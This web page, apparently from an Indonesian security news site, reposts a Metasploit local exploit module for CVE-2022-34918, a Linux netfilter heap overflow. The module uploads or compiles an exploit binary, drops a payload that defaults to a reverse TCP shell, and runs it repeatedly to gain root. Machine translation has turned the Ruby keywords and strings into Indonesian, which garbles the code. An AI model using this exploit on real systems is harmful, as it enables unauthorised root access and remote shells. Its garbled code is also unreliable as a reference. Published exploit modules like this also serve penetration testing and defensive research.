Netfilter nft_set_elem_init Eskalasi Hak Heap Overflow

  • Whatsapp
Cobian Backup 0.9 Unquoted Service Path
Cobian Backup Unquoted Service Path

News.nextcloud.asia

# frozen_string_literal: benar

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Eksploitasi::Lokal
Peringkat = Peringkat Besar
termasuk Msf::Pos::Umum
termasuk Msf::Post::Linux::Priv
termasuk Msf::Post::Linux::System
termasuk Msf::Post::Linux::Kernel
termasuk Msf::Post::Linux::Compile
termasuk Msf::Post::File
termasuk Msf::Eksploitasi::EXE
termasuk Msf::Eksploitasi::FileDropper
tambahkan Msf::Eksploitasi::Remote::AutoCheck

def inisialisasi(info = {})
super(
informasi terbaru(
informasi,
‘Name’ => ‘Netfilter nft_set_elem_init Heap Overflow Privilege Eskalasi’,
‘Deskripsi’ => %q{
Masalah ditemukan di kernel Linux melalui 5.18.9.
Jenis bug kebingungan di nft_set_elem_init (mengarah ke buffer overflow)
dapat digunakan oleh penyerang lokal untuk meningkatkan hak istimewa.
Penyerang dapat memperoleh akses root, tetapi harus memulai dengan yang tidak memiliki hak
namespace pengguna untuk mendapatkan akses CAP_NET_ADMIN.
Masalahnya ada di nft_setelem_parse_data di net/netfilter/nf_tables_api.c.
},
‘Lisensi’ => MSF_LICENSE,
‘Penulis’ => [
‘Arthur Mongodin <amongodin[at]randorisec.fr> (@_Aleknight_)’, # Penemuan kerentanan, eksploitasi PoC asli
‘Redouane NIBOUCHA ‘ # Modul Metasploit, manfaatkan pembaruan PoC
],
‘DisclosureDate’ => ‘2022-02-07’,
‘Platform’ => ‘linux’,
‘Lengkungan’ => [ARCH_X64],
‘Jenis Sesi’ => %w[meterpreter shell],
‘Opsi Default’ => {
‘Payload’ => ‘linux/x64/shell_reverse_tcp’,
‘PrependSetresuid’ => benar,
‘PrependSetresgid’ => benar,
‘PrependFork’ => benar,
‘WfsDelay’ => 30
},
‘Target’ => [[‘Auto’, {}]],
‘Target Default’ => 0,
‘Catatan’ => {
‘Keandalan’ => [UNRELIABLE_SESSION]# Modul terkadang gagal mendapatkan root.
‘Stabilitas’ => [OS_RESOURCE_LOSS, CRASH_OS_DOWN]# Setelah terlalu banyak upaya yang gagal, sistem perlu dihidupkan ulang.
‘Efek Samping’ => [ARTIFACTS_ON_DISK]
},
‘Referensi’ => [
[‘CVE’, ‘2022-34918’],
[‘URL’, ‘https://nvd.nist.gov/vuln/detail/CVE-2022-34918’],
[‘URL’, ‘https://ubuntu.com/security/CVE-2022-34918’],
[‘URL’, ‘https://www.randorisec.fr/crack-linux-firewall/’],
[‘URL’, ‘https://github.com/randorisec/CVE-2022-34918-LPE-PoC’]
]
)
)

daftar_opsi(
[
OptEnum.new(‘COMPILE’, [ true, ‘Compile on target’, ‘Auto’, %w[Auto True False] ]),
OptInt.new(‘MAX_TRIES’, [ true, ‘Number of times to execute the exploit’, 5])
]
)

register_advanced_options(
[
OptString.new(‘WritableDir’, [true, ‘Directory to write persistent payload file.’, ‘/tmp’])
]
)
akhir

def base_dir
penyimpanan data[‘WritableDir’]
akhir

def upload_exploit_binary
@executable_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
upload_and_chmodx(@executable_path, exploit_data(‘CVE-2022-34918’, ‘ubuntu.elf’))
register_file_for_cleanup(@executable_path)
akhir

def upload_payload_binary
@payload_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
upload_and_chmodx(@payload_path, generate_payload_exe)
register_file_for_cleanup(@payload_path)
akhir

def upload_source
@exploit_source_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
mkdir(@exploit_source_path)
register_dir_for_cleanup(@exploit_source_path)
dir = [ ‘.’ ]
sampai dirs.empty?
current_dir = dirs.pop
dir_full_path = ::File.join(::Msf::Config.install_root, ‘external/source/exploits/CVE-2022-34918’, current_dir)
Dir.entries(dir_full_path).setiap melakukan |ent|
selanjutnya jika ent == ‘.’ || id == ‘..’

full_path_host = ::File.join(dir_full_path, ent)
relative_path = ::File.join(current_dir, ent)
full_path_target = ::File.join(@exploit_source_path, current_dir, ent)
jika File.file? (full_path_host)
vprint_status(“Mengunggah #{relative_path} ke #{full_path_target}”)
upload_file(full_path_target, full_path_host)
elsif File.directory? (full_path_host)
vprint_status(“Membuat direktori #{full_path_target}”)
mkdir(full_path_target)
dirs.push(relative_path)
kalau tidak
print_error(“#{full_path_host} tidak terlihat seperti file atau direktori”)
akhir
akhir
akhir
akhir

def compile_source
fail_with(Failure::BadConfig, ‘make command not available on the target’) kecuali command_exists?(‘make’)
info = cmd_exec(“make -C #{@exploit_source_path}”)
vprint_status(info)
@executable_path = ::File.join(@exploit_source_path, ‘ubuntu.elf’)
jika ada?(@executable_path)
chmod(@executable_path, 0o700) kecuali dapat dieksekusi?(@executable_path)
print_good(‘Kompilasi berhasil’)
kalau tidak
fail_with(Failure::UnexpectedReply, ‘Kompilasi gagal (dapat dieksekusi tidak ditemukan)’)
akhir
akhir

def run_payload
sukses = salah
1. upto (penyimpanan data)[‘MAX_TRIES’]) lakukan |i|
vprint_status “Upaya eksekusi ##{i}”
info = cmd_exec(@executable_path, @payload_path)
info.setiap_baris lakukan |baris|
vprint_status(line.chomp)
akhir
jika session_created?
sukses = benar
merusak
akhir
tidur 3
akhir
jika sukses
print_good(‘Sesi telah dibuat’)
kalau tidak
print_bad(‘Eksploitasi gagal’)
akhir
akhir

def get_external_source_code(cve, file)
file_path = ::File.join(::Msf::Config.install_root, “external/source/exploits/#{cve}/#{file}”)
::File.binread(file_path)
akhir

def module_check
rilis = kernel_release
version = “#{release} #{kernel_version.split(‘ ‘).first}”
ubuntu_offsets = strip_comments(get_external_source_code(‘CVE-2022-34918’, ‘src/util.c’)).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
ubuntu_kernels = ubuntu_offsets.scan(/(.+?)”/).flatten
jika ubuntu_kernels.empty?
fail_with(Msf::Module::Failure::BadConfig, ‘Error parsing daftar kernel yang didukung.’)
akhir
fail_with(Failure::NoTarget, “Tidak ada offset untuk ‘#{version}'”) kecuali ubuntu_kernels.include?(versi)

fail_with(Kegagalan::BadConfig, “#{base_dir} tidak dapat ditulis.”) kecuali dapat ditulis?(base_dir)
fail_with(Kegagalan::BadConfig, ‘/tmp tidak dapat ditulis.’) kecuali dapat ditulis?(‘/tmp’)

jika is_root?
fail_with(Failure::BadConfig, ‘Sesi sudah memiliki hak akses root.’)
akhir
akhir

cek def
config = kernel_config

kembalikan CheckCode::Unknown(‘Tidak dapat mengambil konfigurasi kernel’) jika config.nil?

return CheckCode::Safe(‘Kernel config tidak termasuk CONFIG_USER_NS’) kecuali config.include?(‘CONFIG_USER_NS=y’)

return CheckCode::Safe(‘Ruang nama pengguna yang tidak memiliki hak tidak diizinkan’) kecuali userns_enabled?

kembalikan CheckCode::Safe(‘LKRG diinstal’) jika lkrg_installed?

lengkungan = kernel_hardware

return CheckCode::Safe(“Arsitektur sistem #{arch} tidak didukung”) kecuali arch.include?(‘x86_64’)

rilis = kernel_release

versi, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)
return CheckCode::Appears # (“Kernel #{version} tampaknya rentan, tetapi tidak ada offset yang tersedia untuk versi ini”)
akhir

Kode Periksa::Aman
akhir

def mengeksploitasi
module_check kecuali datastore[‘ForceExploit’]

jika penyimpanan data[‘COMPILE’] == ‘Benar’ || (penyimpanan data[‘COMPILE’] == ‘Otomatis’ && command_exists?(‘make’))
print_status(‘Mengunggah kode sumber exploit’)
unggah_sumber
print_status(‘Mengkompilasi kode sumber exploit’)
kompilasi_sumber
kalau tidak
print_status(‘Menjatuhkan binari yang telah dikompilasi sebelumnya ke sistem…’)
upload_exploit_binary
akhir
print_status(‘Mengunggah muatan…’)
upload_payload_binary
print_status(‘Menjalankan muatan pada sistem jarak jauh…’)
run_payload
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *